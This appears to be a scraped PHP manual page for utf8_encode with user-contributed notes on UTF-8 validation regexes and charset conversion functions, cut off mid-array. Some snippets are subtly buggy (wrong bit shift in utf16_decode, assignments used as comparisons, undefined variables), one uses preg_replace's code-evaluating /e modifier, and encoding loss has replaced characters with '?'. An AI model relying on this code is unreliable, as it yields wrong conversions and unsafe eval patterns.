In response to fhoech (22-Sep-2005 11:55), I just tried a simultaneous test with the file UTF-8-test.txt using your regexp, 'j dot dittmer' (20-Sep-2005 06:30) regexp (message #56962), `php-note-2005` (17-Feb-2005 08:57) regexp in his message on `mb-detect-encoding` page (http://us3.php.net/manual/en/function.mb-detect-encoding.php#50087) who is using a regexp from the W3C (http://w3.org/International/questions/qa-forms-utf-8.html), and PHP mb_detect_encoding function.

Here are a summarize of the results :

201 lines are valid UTF8 strings using phpnote regexp
203 lines are valid UTF8 strings using j.dittmer regexp
200 lines are valid UTF8 strings using fhoech regexp
239 lines are valid  UTF8 strings using using mb_detect_encoding

Here are the lines with differences (left to right, phpnote, j.dittmer and fhoech) :

Line #70 : NOT UTF8|IS UTF8!|IS UTF8! :2.1.1 1 byte (U-00000000): ""
Line #79 : NOT UTF8|IS UTF8!|IS UTF8! :2.2.1 1 byte (U-0000007F): ""
Line #81 : IS UTF8!|IS UTF8!|NOT UTF8 :2.2.3 3 bytes (U-0000FFFF): "&#65535;" |
Line #267 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.1 U+FFFE = ef bf be = "&#65534;" |
Line #268 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.2 U+FFFF = ef bf bf = "&#65535;" |

Interesting is that you said that your regexp corrected j.dittmer regexp that failed on 5.3 section, but it my test I have the opposite result ?!

I ran this test on windows XP with PHP 4.3.11dev. Maybe these differences come from operating system, or PHP version.

For mb_detect_encoding I used the command :

mb_detect_encoding($line, 'UTF-8, ISO-8859-1, ASCII');
fhoech 22-Sep-2005 10:55
Sorry, I had a typo in my last comment. Corrected regexp:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbd]|
\\xee[\\x80-\\xbf]{2}|
\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$
fhoech 22-Sep-2005 10:12
JF Sebastian's regex is almost perfect as far as I'm concerned. I found one error (it failed section 5.3 "Other illegal code positions" from http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt) which I corrected as follows:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbc]|
\\xee[\\x80-\\xbf]{2}|
\\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$

(Again, concatenate to one single line to make it work)
j dot dittmer at portrix dot net 20-Sep-2005 05:30
The regex in the last comment has some typos. This is a
syntactically valid one, don't know if it's correct though.
You've to concat the expression in one long line.

^(
[\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
[\xe0][\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
[\xed][\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
[\xf0][\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
[\xf4][\x80-\x8f][\x80-\xbf]{2}
)*$
rasmus at flajm dot se 19-Jan-2005 02:57
If you don't have the multibyte extension installed, here's a function to decode UTF-16 encoded strings. It support both BOM-less and BOM'ed strings, (big- and little-endian byte order.)

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode( $str ) {
    if( strlen($str) < 2 ) return $str;
    $bom_be = true;
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    if( $c0 == 0xfe && $c1 == 0xff ) { $str = substr($str,2); }
    elseif( $c0 == 0xff && $c1 == 0xfe ) { $str = substr($str,2); $bom_be = false; }
    $len = strlen($str);
    $newstr = '';
    for($i=0;$i<$len;$i+=2) {
        if( $bom_be ) { $val = ord($str{$i})   << 4; $val += ord($str{$i+1}); }
        else {        $val = ord($str{$i+1}) << 4; $val += ord($str{$i}); }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>
Aidan Kehoe <php-manual at parhasard dot net> 31-Jan-2004 05:35
The fastest way I've found to check if something is valid UTF-8 is
<?php
if (iconv('UTF-8', 'UTF-8', $input) != $input) {
        /* It's not UTF-8--for me, it's probably CP1252, the Windows
           version of Latin 1, with directed quotation marks and
           the Euro sign.  */
}
 ?>.
The iconv() C library fails if it's told a string is UTF-8 and it isn't; the PHP one doesn't, it just returns the conversion up to the point of failure, so you have to compare the result to the input to find out if the conversion succeeded.
gto at interia dot pl 25-Nov-2003 07:12
Correction to function converting utf82iso88592 and iso88592tutf8.
Janusz forgot about "&#324;", and "&#380;" exchanged from "&#378;" here and there.

GTo

function utf82iso88592($tekscik) {
     $tekscik = str_replace("\xC4\x85", "&#261;", $tekscik);
     $tekscik = str_replace("\xC4\x84", '&#260;', $tekscik);
     $tekscik = str_replace("\xC4\x87", '&#263;', $tekscik);
     $tekscik = str_replace("\xC4\x86", '&#262;', $tekscik);
     $tekscik = str_replace("\xC4\x99", '&#281;', $tekscik);
     $tekscik = str_replace("\xC4\x98", '&#280;', $tekscik);
     $tekscik = str_replace("\xC5\x82", '&#322;', $tekscik);
     $tekscik = str_replace("\xC5\x81", '&#321;', $tekscik);
     $tekscik = str_replace("\xC5\x84", '&#324;', $tekscik);
     $tekscik = str_replace("\xC5\x83", '&#323;', $tekscik);
     $tekscik = str_replace("\xC3\xB3", '?', $tekscik);
     $tekscik = str_replace("\xC3\x93", '?', $tekscik);
     $tekscik = str_replace("\xC5\x9B", '&#347;', $tekscik);
     $tekscik = str_replace("\xC5\x9A", '&#346;', $tekscik);
     $tekscik = str_replace("\xC5\xBC", '&#380;', $tekscik);
     $tekscik = str_replace("\xC5\xBB", '&#379;', $tekscik);
     $tekscik = str_replace("\xC5\xBA", '&#378;', $tekscik);
     $tekscik = str_replace("\xC5\xB9", '&#377;', $tekscik);
     return $tekscik;
} // utf82iso88592

function iso885922utf8($tekscik) {
     $tekscik = str_replace("&#261;", "\xC4\x85", $tekscik);
     $tekscik = str_replace('&#260;', "\xC4\x84", $tekscik);
     $tekscik = str_replace('&#263;', "\xC4\x87", $tekscik);
     $tekscik = str_replace('&#262;', "\xC4\x86", $tekscik);
     $tekscik = str_replace('&#281;', "\xC4\x99", $tekscik);
     $tekscik = str_replace('&#280;', "\xC4\x98", $tekscik);
     $tekscik = str_replace('&#322;', "\xC5\x82", $tekscik);
     $tekscik = str_replace('&#321;', "\xC5\x81", $tekscik);
     $tekscik = str_replace('&#324;', "\xC5\x84", $tekscik);
     $tekscik = str_replace('&#323;',"\xC5\x83", $tekscik);
     $tekscik = str_replace('?', "\xC3\xB3", $tekscik);
     $tekscik = str_replace('?', "\xC3\x93", $tekscik);
     $tekscik = str_replace('&#347;', "\xC5\x9B", $tekscik);
     $tekscik = str_replace('&#346;', "\xC5\x9A", $tekscik);
     $tekscik = str_replace('&#380;', "\xC5\xBC", $tekscik);
     $tekscik = str_replace('&#379;', "\xC5\xBB", $tekscik);
     $tekscik = str_replace('&#378;', "\xC5\xBA", $tekscik);
     $tekscik = str_replace('&#377;', "\xC5\xB9", $tekscik);
     return $tekscik;
} // iso885922utf8


将 ISO-8859-1 编码的字符串转换为 UTF-8 编码

  • ? utf8_decode
  • xml_error_string ?
  • PHP Manual
  • XML 解析器函数
  • 将 ISO-8859-1 编码的字符串转换为 UTF-8 编码

utf8_encode

(PHP 4, PHP 5, PHP 7)

utf8_encode — 将 ISO-8859-1 编码的字符串转换为 UTF-8 编码

描述

utf8_encode ( string $data ) : string

该函数将 data 字符串转换为 UTF-8 编码，并返回编码后的字符串。UTF-8 是一种用于将宽字符值转换为字节流的 Unicode 的标准机制。UTF-8 对于纯 ASCII 字符来说是透明的，且是自同步的（也就是说这使得程序能够得知字符从字节流的何处开始），并可被普通字符串比较函数用以比较等操作。PHP 可将 UTF-8 编码为多达四个字节的字符，如：

UTF-8 编码
字节（bytes） | 位（bits） | 表 示
1 | 7 | 0bbbbbbb
2 | 11 | 110bbbbb 10bbbbbb
3 | 16 | 1110bbbb 10bbbbbb 10bbbbbb
4 | 21 | 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb

每个 UTF-8 表示一个能被用以储存字符数据的位。

User Contributed Notes

Pini 16-Nov-2015 03:14
My version of utf8_encode_deep,
In case you need one that returns a value without changing the original.

        /**
        * Convert Anything To UTF-8
        * @param mixed $var The variable you want to convert.
        * @param boolean $deep Deep convertion? (*Default: TRUE).
        * @return mixed
        */
        function anything_to_utf8($var,$deep=TRUE){
            if(is_array($var)){
                foreach($var as $key => $value){
                    if($deep){
                        $var[$key] = anything_to_utf8($value,$deep);
                    }elseif(!is_array($value) && !is_object($value) && !mb_detect_encoding($value,'utf-8',true)){
                         $var[$key] = utf8_encode($var);
                    }
                }
                return $var;
            }elseif(is_object($var)){
                foreach($var as $key => $value){
                    if($deep){
                        $var->$key = anything_to_utf8($value,$deep);
                    }elseif(!is_array($value) && !is_object($value) && !mb_detect_encoding($value,'utf-8',true)){
                         $var->$key = utf8_encode($var);
                    }
                }
                return $var;
            }else{
                return (!mb_detect_encoding($var,'utf-8',true))?utf8_encode($var):$var;
            }
        }
a dot rueedlinger at gmail dot com 22-Jun-2013 01:06
If you need a function which converts a string array into a utf8 encoded string array then this function might be useful for you:

<?php
function utf8_string_array_encode(&$array){
    $func = function(&$value,&$key){
        if(is_string($value)){
            $value = utf8_encode($value);
        }
        if(is_string($key)){
            $key = utf8_encode($key);
        }
        if(is_array($value)){
            utf8_string_array_encode($value);
        }
    };
    array_walk($array,$func);
    return $array;
}
?>
Oscar Broman 06-Sep-2012 11:15
Walk through nested arrays/objects and utf8 encode all strings.

<?php
// Usage
class Foo {
    public $somevar = 'whoop whoop';
}

$structure = array(
    'object' => (object) array(
        'entry' => 'hello w?rld',
        'another_array' => array(
            'string',
            1234,
            'another string'
        )
    ),
    'string' => 'foo',
    'foo_object' => new Foo
);

utf8_encode_deep($structure);

// $structure is now utf8 encoded
print_r($structure);

// The function
function utf8_encode_deep(&$input) {
    if (is_string($input)) {
        $input = utf8_encode($input);
    } else if (is_array($input)) {
        foreach ($input as &$value) {
            utf8_encode_deep($value);
        }

        unset($value);
    } else if (is_object($input)) {
        $vars = array_keys(get_object_vars($input));

        foreach ($vars as $var) {
            utf8_encode_deep($input->$var);
        }
    }
}
?>
deceze at gmail dot com 14-Jul-2011 06:51
Please note that utf8_encode only converts a string encoded in ISO-8859-1 to UTF-8. A more appropriate name for it would be "iso88591_to_utf8". If your text is not encoded in  ISO-8859-1, you do not need this function. If your text is already in UTF-8, you do not need this function. In fact, applying this function to text that is not encoded in ISO-8859-1 will most likely simply garble that text.

If you need to convert text from any encoding to any other encoding, look at iconv() instead.
bastianschwarz t live punkt de 13-May-2011 08:25
My version for converting ISO array keys to utf8:

<?php
function convertArrayKeysToUtf8(array $array) {
    $convertedArray = array();
    foreach($array as $key => $value) {
      if(!mb_check_encoding($key, 'UTF-8')) $key = utf8_encode($key);
      if(is_array($value)) $value = $this->convertArrayKeysToUtf8($value);

      $convertedArray[$key] = $value;
    }
    return $convertedArray;
  }
?>
powtac 4t gmx d0t de 11-Feb-2011 01:11
I tried a lot of things, but this seems to be the final fail save method to convert any string to proper UTF-8.

<?php
function _convert($content) {
    if(!mb_check_encoding($content, 'UTF-8')
        OR !($content === mb_convert_encoding(mb_convert_encoding($content, 'UTF-32', 'UTF-8' ), 'UTF-8', 'UTF-32'))) {

        $content = mb_convert_encoding($content, 'UTF-8');

        if (mb_check_encoding($content, 'UTF-8')) {
            // log('Converted to UTF-8');
        } else {
            // log('Could not converted to UTF-8');
        }
    }
    return $content;
}
?>
Yumok 15-Sep-2010 04:26
Avoiding use of preg_match to detect if utf8_encode is needed:

<?php
                $string = $string_input; // avoid being destructive

                $string = preg_replace("#[\x09\x0A\x0D\x20-\x7E]#"        ,"",$string);         // ASCII
                $string = preg_replace("#[\xC2-\xDF][\x80-\xBF]#"            ,"",$string);             // non-overlong 2-byte
                $string = preg_replace("#\xE0[\xA0-\xBF][\x80-\xBF]#"    ,"",$string);     // excluding overlongs
                $string = preg_replace("#[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}#","",$string);     // straight 3-byte
                $string = preg_replace("#\xED[\x80-\x9F][\x80-\xBF]#"    ,"",$string);     // excluding surrogates
                $string = preg_replace("#\xF0[\x90-\xBF][\x80-\xBF]{2}#","",$string);     // planes 1-3
                $string = preg_replace("#[\xF1-\xF3][\x80-\xBF]{3}#"    ,"",$string);     //  planes 4-15
                $string = preg_replace("#\xF4[\x80-\x8F][\x80-\xBF]{2}#","",$string);     // plane 16

                $rc = ($string == ""?true:false);
?>
rogeriogirodo at gmail dot com 19-Mar-2009 04:24
This function may be useful do encode array keys and values [and checks first to see if it's already in UTF format]:

<?php
public static function to_utf8($in)
{
        if (is_array($in)) {
            foreach ($in as $key => $value) {
                $out[to_utf8($key)] = to_utf8($value);
            }
        } elseif(is_string($in)) {
            if(mb_detect_encoding($in) != "UTF-8")
                return utf8_encode($in);
            else
                return $in;
        } else {
            return $in;
        }
        return $out;
}
?>

Hope this may help.

[NOTE BY danbrown AT php DOT net: Original function written by (cmyk777 AT gmail DOT com) on 28-JAN-09.]
www.tricinty.com 11-Jun-2008 03:43
<?php
    /**
    * Encodes an ISO-8859-1 mixed variable to UTF-8 (PHP 4, PHP 5 compat)
    * @param    mixed    $input An array, associative or simple
    * @param    boolean  $encode_keys optional
    * @return    mixed     ( utf-8 encoded $input)
    */

    function utf8_encode_mix($input, $encode_keys=false)
    {
        if(is_array($input))
        {
            $result = array();
            foreach($input as $k => $v)
            {
                $key = ($encode_keys)? utf8_encode($k) : $k;
                $result[$key] = utf8_encode_mix( $v, $encode_keys);
            }
        }
        else
        {
            $result = utf8_encode($input);
        }

        return $result;
    }
?>
luka8088 at gmail dot com 22-Jun-2007 07:19
simple HTML to UTF-8 conversion:

function html_to_utf8 ($data)
    {
    return preg_replace("/\\&\\#([0-9]{3,10})\\;/e", '_html_to_utf8("\\1")', $data);
    }

function _html_to_utf8 ($data)
    {
    if ($data > 127)
        {
        $i = 5;
        while (($i--) > 0)
            {
            if ($data != ($a = $data % ($p = pow(64, $i))))
                {
                $ret = chr(base_convert(str_pad(str_repeat(1, $i + 1), 8, "0"), 2, 10) + (($data - $a) / $p));
                for ($i; $i > 0; $i--)
                    $ret .= chr(128 + ((($data % pow(64, $i)) - ($data % ($p = pow(64, $i - 1)))) / $p));
                break;
                }
            }
        }
        else
        $ret = "&#$data;";
    return $ret;
    }

Example:
echo html_to_utf8("a b &#269; &#263; &#382; &#12371; &#12395; &#12385; &#12431; ()[]{}!#$?* &lt; &#62;");

Output:
a b ? ? ? こ に ち わ ()[]{}!#$?* &lt; &#62;
penda ekoka 17-Apr-2007 11:15
creating utf-8 xml files:
this is something that has wasted a lot of my time, I hope this will spare you the headaches:

my method consists of creating an xml template that will look like this (this is probably optional, I'm sure you can use good ol' print or echo statements):

xml_tpl.php
<?php
header("Content-Type: text/html;charset=ISO-8859-1");
print "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n";
$names=array('jack','bob','vanessa','catherine','valerie');
?>
<parent>
<?php foreach($names as $name) {?>
    <child name="<?php print $name?>" />
<?php } ?>
</parent>
?>

from a function or a method I include the previous template and trap the outputted content in an output buffer. The buffured content is then inserted into a file:

<?php
function create_xml(){
    ob_start();
    include "xml_php.php";
    $trapped_content=ob_get_contents();
    ob_end_clean();
    $file_path= "./somefile.xml";
    $file_handle=fopen($somefile,'w');
    fwrite($file_handle,utf8_encode($trapped_content));
}

?>

Some side notes:
- note that the utf8_encode function goes inside the fwrite() function.
- when troubleshooting, make sure to transfer text file (xml included) and scripts in ascii mode when using ftp. For some unknown reason my ftp client did not have xml set as an ascii transfer candidate and was automatically tranfering them in binary. That little "feature" ended up costing me hours of frustration, as the encoding information would just "vanish" between transfer and I kept scratching my head as to why manually created utf8 files were not behaving as they should.
emze at donazga dot net 17-Dec-2006 09:42
/*
Every function seen so far is incomplete or resource consumpting. Here are two -- integer 2 utf sequence (i3u) and utf sequence to integer (u3i). Below is a code snippet that checks well behavior at the range boundaries.

Someday they might be hardcoded into PHP...
*/

function i3u($i) { // returns UCS-16 or UCS-32 to UTF-8 from an integer
  $i=(int)$i; // integer?
  if ($i<0) return false; // positive?
  if ($i<=0x7f) return chr($i); // range 0
  if (($i & 0x7fffffff) <> $i) return '?'; // 31 bit?
  if ($i<=0x7ff) return chr(0xc0 | ($i >> 6)) . chr(0x80 | ($i & 0x3f));
  if ($i<=0xffff) return chr(0xe0 | ($i >> 12)) . chr(0x80 | ($i >> 6) & 0x3f)
      . chr(0x80  | $i & 0x3f);
  if ($i<=0x1fffff) return chr(0xf0 | ($i >> 18)) . chr(0x80 | ($i >> 12) & 0x3f)
      . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
  if ($i<=0x3ffffff) return chr(0xf8 | ($i >> 24)) . chr(0x80 | ($i >> 18) & 0x3f)
      . chr(0x80 | ($i >> 12) & 0x3f) . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
  return chr(0xfc | ($i >> 30)) . chr(0x80 | ($i >> 24) & 0x3f) . chr(0x80 | ($i >> 18) & 0x3f)
      . chr(0x80 | ($i >> 12) & 0x3f) . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
}

function u3i($s,$strict=1) { // returns integer on valid UTF-8 seq, NULL on empty, else FALSE
  // NOT strict: takes only DATA bits, present or not; strict: length and bits checking
  if ($s=='') return NULL;
  $l=strlen($s); $o=ord($s{0});
  if ($o <= 0x7f && $l==1) return $o;
  if ($l>6 && $strict) return false;
  if ($strict) for ($i=1;$i<$l;$i++) if (ord($s{$i}) > 0xbf || ord($s{$i})< 0x80) return false;
  if ($o < 0xc2) return false; // no-go even if strict=0
  if ($o <= 0xdf && ($l=2 && $strict)) return (($o & 0x1f) << 6 | (ord($s{1}) & 0x3f));
  if ($o <= 0xef && ($l=3 && $strict)) return (($o & 0x0f) << 12 | (ord($s{1}) & 0x3f) << 6
     |  (ord($s{2}) & 0x3f));
  if ($o <= 0xf7 && ($l=4 && $strict)) return (($o & 0x07) << 18 | (ord($s{1}) & 0x3f) << 12
     | (ord($s{2}) & 0x3f) << 6 |  (ord($s{3}) & 0x3f));
  if ($o <= 0xfb && ($l=5 && $strict)) return (($o & 0x03) << 24 | (ord($s{1}) & 0x3f) << 18
     | (ord($s{2}) & 0x3f) << 12 | (ord($s{3}) & 0x3f) << 6 |  (ord($s{4}) & 0x3f));
  if ($o <= 0xfd && ($l=6 && $strict)) return (($o & 0x01) << 30 | (ord($s{1}) & 0x3f) << 24
     | (ord($s{2}) & 0x3f) << 18 | (ord($s{3}) & 0x3f) << 12
     | (ord($s{4}) & 0x3f) << 6 |  (ord($s{5}) & 0x3f));
  return false;
}

// boundary behavior checking
$do=array(0x7f,0x7ff,0xffff,0x1fffff,0x3ffffff,0x7fffffff);
foreach ($do as $ii) for ($i=$ii;$i<=$ii+1; $i++) {
  $o=i3u($i);
  for ($j=0;$j<strlen($o);$j++) print "O[$j]=" . sprintf('%08b',ord($o{$j})) . ", ";
  print "c=$i, o=[$o].\n";
  print "Back: [$o] => [" . u3i($o) . "]\n";
}
sadikkeskin at hotmail dot com 21-Nov-2006 02:49
i wrote a function to convert encoding utf8 to iso-8859-9. This function is very useful if you want to use this for ajax.
you can apply same way for other languages.
<?
function str_encode ($string,$to="iso-8859-9",$from="utf8") {
    if($to=="iso-8859-9" && $from=="utf8"){
        $str_array = array(
       chr(196).chr(177) => chr(253),
       chr(196).chr(176) => chr(221),
       chr(195).chr(182) => chr(246),
       chr(195).chr(150) => chr(214),
       chr(195).chr(167) => chr(231),
       chr(195).chr(135) => chr(199),
       chr(197).chr(159) => chr(254),
       chr(197).chr(158) => chr(222),
       chr(196).chr(159) => chr(240),
       chr(196).chr(158) => chr(208),
       chr(195).chr(188) => chr(252),
       chr(195).chr(156) => chr(220)
       );
       return str_replace(array_keys($str_array), array_values($str_array), $string);

    }
    return $string;
}
?>
27-Sep-2006 01:30
In reply to Cundle:

Note: The BOM is completely unnecessary in UTF-8. UTF-8 is interpreted the same way regardless of endianness, e.g. Λ (U+039B, GREEK CAPITAL LETTER LAMDA) is represented as the octets 0xCE, 0x9B, always in that order.

Extra note: UTF-16 and UCS-2 are different. The same letter would be encoded as 0x03 0x9B on big-endian (e.g. Motorola) architecture, but 0x9B 0x03 on little-endian (e.g Intel) architecture.

But in any case, there's nothing wrong with putting a BOM at the beginning of a UTF-8 encoded file. It is just treated as U+FEFF Zero Width No-Break Space.
James Cundle 18-Jul-2006 07:33
I had some difficulty finding a way to easily write UTF-8 files with the byte order mark included. This is the simple solution I have come up with:

<?php
function writeUTF8File($filename,$content) {
        $dhandle=fopen($filename,"w");
        # Now UTF-8 - Add byte order mark
        fwrite($dhandle, pack("CCC",0xef,0xbb,0xbf));
        fwrite($dhandle,$content);
        fclose($dhandle);
}
?>

When you read the file back in using fopen, the BOM will also be there. To remove it, I also wrote the following function:

<?php
function removeBOM($str=""){
        if(substr($str, 0,3) == pack("CCC",0xef,0xbb,0xbf)) {
                $str=substr($str, 3);
        }
        return $str;
}
?>
rocketman 16-Mar-2006 04:46
If you are looking for a function to replace special characters with the hex-utf-8 value (e.g. für Webservice-Security/WSS4J compliancy) you might use this:

$textstart = "Gr??e";
$utf8 ='';
$max = strlen($txt);

for ($i = 0; $i < $max; $i++) {

if ($txt{i} == "&"){
$neu = "&x26;";
}
elseif ((ord($txt{$i}) < 32) or (ord($txt{$i}) > 127)){
$neu = urlencode(utf8_encode($txt{$i}));
$neu = preg_replace('#\%(..)\%(..)\%(..)#','&#x\1;&#x\2;&#x\3;',$neu);
$neu = preg_replace('#\%(..)\%(..)#','&#x\1;&#x\2;',$neu);
$neu = preg_replace('#\%(..)#','&#x\1;',$neu);
}
else {
$neu = $txt{$i};
}

$utf8 .= $neu;
} // for $i

$textnew = $utf8;

In this example $textnew will be "Gr&#xC3;&#xB6;&#xC3;&#x9F;e"
mailing at jcn50 dot com 20-Jan-2006 10:40
I recommend using this alternative for every language:

$new=mb_convert_encoding($s,"UTF-8","auto");

Don't forget to set all your pages to "utf-8" encoding, otherwise just use HTML entities.

jcn50.
04-Nov-2005 02:34
// Reads a file story.txt ascii (as typed on keyboard)
// converts it to Georgian character using utf8 encoding
// if I am correct(?) just as it should be when typed on Georgian computer
// it outputs it as an html file
//
// http://www.comweb.nl/keys_to_georgian.html
// http://www.comweb.nl/keys_to_georgian.php
// http://www.comweb.nl/story.txt

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<HTML>
<HEAD>
<TITLE>keys to unicode code</TITLE>

// this meta tag is needed
<meta http-equiv="Content-Type" content="text/html;CHARSET=gb2312" >

// note the sylfean font seems to be standard installed on Windows XP
// It supports Georgian

<style TYPE="text/css">
<!--
body {font-family:sylfaen; }
-->
</style>
</HEAD>

<BODY>

<?
$eng=array(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122,87,82,84,83,
67,74,90);
$geo=array(4304,4305,4330,4307,4308,4324,4306,4336,4312,4335,4313,
4314,4315,4316,4317,4318,4325,4320,4321,4322,4323,4309,
4332,4334,4327,4310,4333,4326,4311,4328,4329,4319,4331,
91,93,59,39,44,46,96);

$fc=file("story.txt");
foreach($fc as $line)
{
   $spacestart=1;
   for ($i=0; $i<strlen($line); $i+=1)
   {
      $character=ord(substr($line,$i,1));
      $found=0;
      for ($k=0; $k<count($eng); $k+=1)
      {
         if ($eng[$k]==$character)
         {
             print code2utf( $geo[$k] );
             $found=1;
         }
      }
      if ($found==0)
      {
         if ($character==126 || $character==32 || $character==10 || $character==9)
         {
            if ($character==9)  { print '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'; }
            if ($character==10) { print "<BR>\n"; }
            if ($character==32)
            {
               if ($spacestart==1) {print '&nbsp;'; } else { print " "; }
            }
            if ($character==126){ print "~";      }
         } else
         {
            print substr($line,$i,1);
         }
      }
      if ($character!=32) { $spacestart=0; }
   }
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
*/
function code2utf($num)
{
   if($num<128)return chr($num);
   if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
   if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
   if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
   return '';
}
?>

</BODY>
</HTML>
Janci 04-Nov-2005 04:00
I was searching for a function similar to Javascript's unescape(). In most cases it is OK to use url_decode() function but not if you've got UTF characters in the strings. They are converted into %uXXXX entities that url_decode() cannot handle.
I googled the net and found a function which actualy converts these entities into HTML entities (&#xxx;) that your browser can show correctly. If you're OK with that, the function can be found here: http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps

But it was not OK with me because I needed a string in my charset to make some comparations and other stuff. So I have modified the above function and in conjuction with code2utf() function mentioned in some other note here, I have managed to achieve my goal:

<?php
/**
 * Function converts an Javascript escaped string back into a string with specified charset (default is UTF-8).
 * Modified function from http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps
 *
 * @param string $source escaped with Javascript's escape() function
 * @param string $iconv_to destination character set will be used as second paramether in the iconv function. Default is UTF-8.
 * @return string
 */
function unescape($source, $iconv_to = 'UTF-8') {
    $decodedStr = '';
    $pos = 0;
    $len = strlen ($source);
    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == '%') {
            $pos++;
            $charAt = substr ($source, $pos, 1);
            if ($charAt == 'u') {
                // we got a unicode character
                $pos++;
                $unicodeHexVal = substr ($source, $pos, 4);
                $unicode = hexdec ($unicodeHexVal);
                $decodedStr .= code2utf($unicode);
                $pos += 4;
            }
            else {
                // we have an escaped ascii character
                $hexVal = substr ($source, $pos, 2);
                $decodedStr .= chr (hexdec ($hexVal));
                $pos += 2;
            }
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    if ($iconv_to != "UTF-8") {
        $decodedStr = iconv("UTF-8", $iconv_to, $decodedStr);
    }

    return $decodedStr;
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
 */
function code2utf($num){
    if($num<128)return chr($num);
    if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
    if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
    if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
    return '';
}
?>
aktionimskript at gmx dot net 01-Sep-2005 08:52
if you want to put variables as parameter in a flashfile, i prefer using to convert the string with utf8_encode() [or preg_replace, or iconv] and after this i encode it with urlencode();

<?php
     $yourstring="yourstring";
     $str_utf8=utf8_encode($yourstring);
     $str_encoded=urlencode($str_utf8);
     echo "<script language='javascript'>";
     echo "parameterForFlash='".$str_encoded."';";
     echo "</script>";
?>

now you can use the variable (parameterForFlash) in your javascript (plugindetection), that writes the flash object/embed.
suttichai at ceforce dot com 28-May-2005 12:26
This function I use convert Thai font (iso-8859-11) to UTF-8. For my case, It work properly. Please try to use this function if you have a problem to convert charset iso-8859-11 to UTF-8.

function iso8859_11toUTF8($string) {

     if ( ! ereg("[\241-\377]", $string) )
         return $string;

     $iso8859_11 = array(
"\xa1" => "\xe0\xb8\x81",
"\xa2" => "\xe0\xb8\x82",
"\xa3" => "\xe0\xb8\x83",
"\xa4" => "\xe0\xb8\x84",
"\xa5" => "\xe0\xb8\x85",
"\xa6" => "\xe0\xb8\x86",
"\xa7" => "\xe0\xb8\x87",
"\xa8" => "\xe0\xb8\x88",
"\xa9" => "\xe0\xb8\x89",
"\xaa" => "\xe0\xb8\x8a",
"\xab" => "\xe0\xb8\x8b",
"\xac" => "\xe0\xb8\x8c",
"\xad" => "\xe0\xb8\x8d",
"\xae" => "\xe0\xb8\x8e",
"\xaf" => "\xe0\xb8\x8f",
"\xb0" => "\xe0\xb8\x90",
"\xb1" => "\xe0\xb8\x91",
"\xb2" => "\xe0\xb8\x92",
"\xb3" => "\xe0\xb8\x93",
"\xb4" => "\xe0\xb8\x94",
"\xb5" => "\xe0\xb8\x95",
"\xb6" => "\xe0\xb8\x96",
"\xb7" => "\xe0\xb8\x97",
"\xb8" => "\xe0\xb8\x98",
"\xb9" => "\xe0\xb8\x99",
"\xba" => "\xe0\xb8\x9a",
"\xbb" => "\xe0\xb8\x9b",
"\xbc" => "\xe0\xb8\x9c",
"\xbd" => "\xe0\xb8\x9d",
